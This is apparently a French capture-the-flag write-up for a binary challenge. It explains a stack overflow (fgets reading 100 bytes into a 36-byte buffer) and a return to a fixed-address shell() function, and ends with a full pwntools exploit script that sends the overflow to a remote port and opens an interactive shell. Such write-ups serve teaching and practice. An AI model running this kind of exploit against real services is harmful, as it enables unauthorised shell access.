En ouvrant le binaire avec Ghidra, on observe un écrasement de stack :
char local_38 [36];
..
fgets(local_38,100,stdin);
..
ret
La stack n’est pas exécutable, mais en cherchant un retour dans les plages exécutables du binaire,
on trouve une fonction shell()
à l’adresse fixe 0x004011a2
.
En testant localement, le system()
se termine immédiatement sûrement à cause d’un problème de stdin que je n’ai pas résolu,
mais je me doutais qu’à distance, on ne l’aurait pas, et effectivement à distance le shell marche bien.
#!/usr/bin/python3
from pwn import *
context(arch='amd64')
sc = cyclic(56)
sc += b'\xa2\x11\x40\x00\x00\x00\x00\x00'
# p = process('./pwn', stdin=PTY) # stdin problem
p = remote('127.0.0.1', 4000)
print(p.recv())
p.sendline(sc)
p.clean()
p.sendline(b'uname -a')
p.interactive()